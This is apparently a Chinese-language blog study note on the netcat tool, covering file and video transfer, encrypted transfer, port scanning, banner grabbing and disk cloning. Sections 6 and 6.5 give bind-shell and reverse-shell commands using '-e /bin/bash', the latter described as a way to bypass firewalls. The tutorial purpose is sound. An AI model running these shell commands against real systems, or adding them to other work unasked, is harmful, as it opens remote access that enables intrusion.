netcat學習記錄

1.什麼是Netcat?

Netcat 或者叫 nc 是 Linux 下的一個用於調試和檢查網絡工具包。可用於創建 TCP/IP 連接,最大的用途就是用來處理 TCP/UDP 套接字。

netcat的參數含義:
在這裏插入圖片描述

2.用netcat搭建局域網客戶端和服務端

服務端
netcat -l -p port或 nc -l -p port 注意-p參數不能少

例如:netcat -l -p 10000
用netstat -ntpl 查看服務是否運行

在這裏插入圖片描述

客戶端
netcat ip port
這樣客戶端和服務端之間就可以互發信息了
在這裏插入圖片描述

3.單個文件傳輸

命令:netcat -l -p port < file (注意-p必須有,< 前後要留空格),可以傳輸任何類型的文件,但限制在於一次只能傳輸一個文件,且接收方要知道文件的後綴
實例:首先使用“cd”命令進入傳送文件所在目錄,然後輸入:netcat -l -p 10000 < test.txt
在這裏插入圖片描述
接收方命令:netcat -n ip port > file
實例:netcat -n 192.168.0.72 10000 > receive.txt

4.多個文件傳輸

若我們要發送多個文件或者整個目錄,也可以實現,此時需要一個tar壓縮工具。
在主機A進行發送:
命令 :tar -cvf - server_dir_name | netcat -l -p port
實例:tar -cvf - /home/yuanye/Desktop/123/ | netcat -l -p 10002

在這裏插入圖片描述
在主機B進行接收
命令: netcat -n ip port | tar -xvf -
實例:netcat -n 192.168.0.72 10002 | tar -xvf -
在這裏插入圖片描述

5.視頻流傳輸

主機A作爲server,將視頻發至指定端口:
命令:cat video.avi | netcat -l -p port
實例:首先使用“cd”命令進入想要保存文件的目錄,然後輸入:cat test.flv | netcat -l -p 10002

主機B作爲client,接收視頻,首先要安裝mplayer(apt-get install mplayer)
命令:netcat server_ip port | mplayer -vo x11 -cache 3000 -
實例:netcat 192.168.0.72 10002 | mplayer -vo x11 -cache 3000 -
在這裏插入圖片描述

6.創建遠程shell

現將主機A作爲server:
命令:netcat -l -p port -e /bin/bash
實例:netcat -l -p 10002 -e /bin/bash

主機B作爲client:
命令:netcat server_ip port
實例:netcat 192.168.0.72 10002
在這裏插入圖片描述

後面的功能暫時沒有測試了,有的命令後面可能少了一個參數 -p

6.5 反向shell

反向shell是指在客戶端打開的shell。反向shell這樣命名是因爲不同於其他配置,這裏服務器使用的是由客戶提供的服務。

服務端

$nc -l 1567
在客戶端,簡單地告訴netcat在連接完成後,執行shell。
客戶端

$nc 172.31.100.7 1567 -e /bin/bash
現在,什麼是反向shell的特別之處呢
反向shell經常被用來繞過防火牆的限制,如阻止入站連接。例如,我有一個專用IP地址爲172.31.100.7,我使用代理服務器連接到外部網絡。如果我想從網絡外部訪問 這臺機器如1.2.3.4的shell,那麼我會用反向外殼用於這一目的。

7. 加密你通過網絡發送的數據

如果你擔心你在網絡上發送數據的安全,你可以在發送你的數據之前用如mcrypt的工具加密。

服務端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密數據。
客戶端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
使用mcrypt工具解密數據。
以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。

這裏我們是使用mcrypt用來加密,使用其它任意加密工具都可以

8.端口掃描

端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。

$nc -z -v -n 172.31.100.7 21-25
可以運行在TCP或者UDP模式,默認是TCP,-u參數調整爲udp.
z 參數告訴netcat使用0 IO,連接成功後立即關閉連接, 不進行數據交換(謝謝@jxing 指點)

v 參數指使用冗餘選項(譯者注:即詳細輸出)

n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名

這個命令會打印21到25 所有開放的端口。Banner是一個文本,Banner是一個你連接的服務發送給你的文本信息。當你試圖鑑別漏洞或者服務的類型和版本的時候,Banner信息是非常有用的。但是,並不是所有的服務都會發送banner。

一旦你發現開放的端口,你可以容易的使用netcat 連接服務抓取他們的banner。

$ nc -v 172.31.100.7 21
netcat 命令會連接開放端口21並且打印運行在這個端口上服務的banner信息。

9. 克隆一個設備

如果你已經安裝配置一臺Linux機器並且需要重複同樣的操作對其他的機器,而你不想在重複配置一遍。不在需要重複配置安裝的過程,只啓動另一臺機器的一些引導可以隨身碟和克隆你的機器。

克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | dd of=/dev/sda
dd是一個從磁盤讀取原始數據的工具,我通過netcat服務器重定向它的輸出流到其他機器並且寫入到磁盤中,它會隨着分區表拷貝所有的信息。但是如果我們已經做過分區並且只需要克隆root分區,我們可以根據我們系統root分區的位置,更改sda 爲sda1,sda2.等等。

10.指定源端口

在3中,client接收使用的隨機端口接收server端的數據,要想使用特定端口接收數據可以使用參數“-p”來指定
命令:netcat server_ip port1 -p port2
實例:netcat 192.168.237.131 10000 -p 1234

注意使用1024以內的端口需要root權限。

11.指定源地址

在2.2.3中,client使用一個網卡接收文件,當client有多塊網卡的時候,可以通過參數“-s”指定接收文件的網卡。
命令:netcat server_ip port -s client_ip > file
實例:netcat 192.168.237.131 10000 -s 192.168.237.132 > receive.txt

參考:

https://blog.csdn.net/wangqingchuan92/article/details/79666885
https://www.oschina.net/translate/linux-netcat-command?lang=chs&p=1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章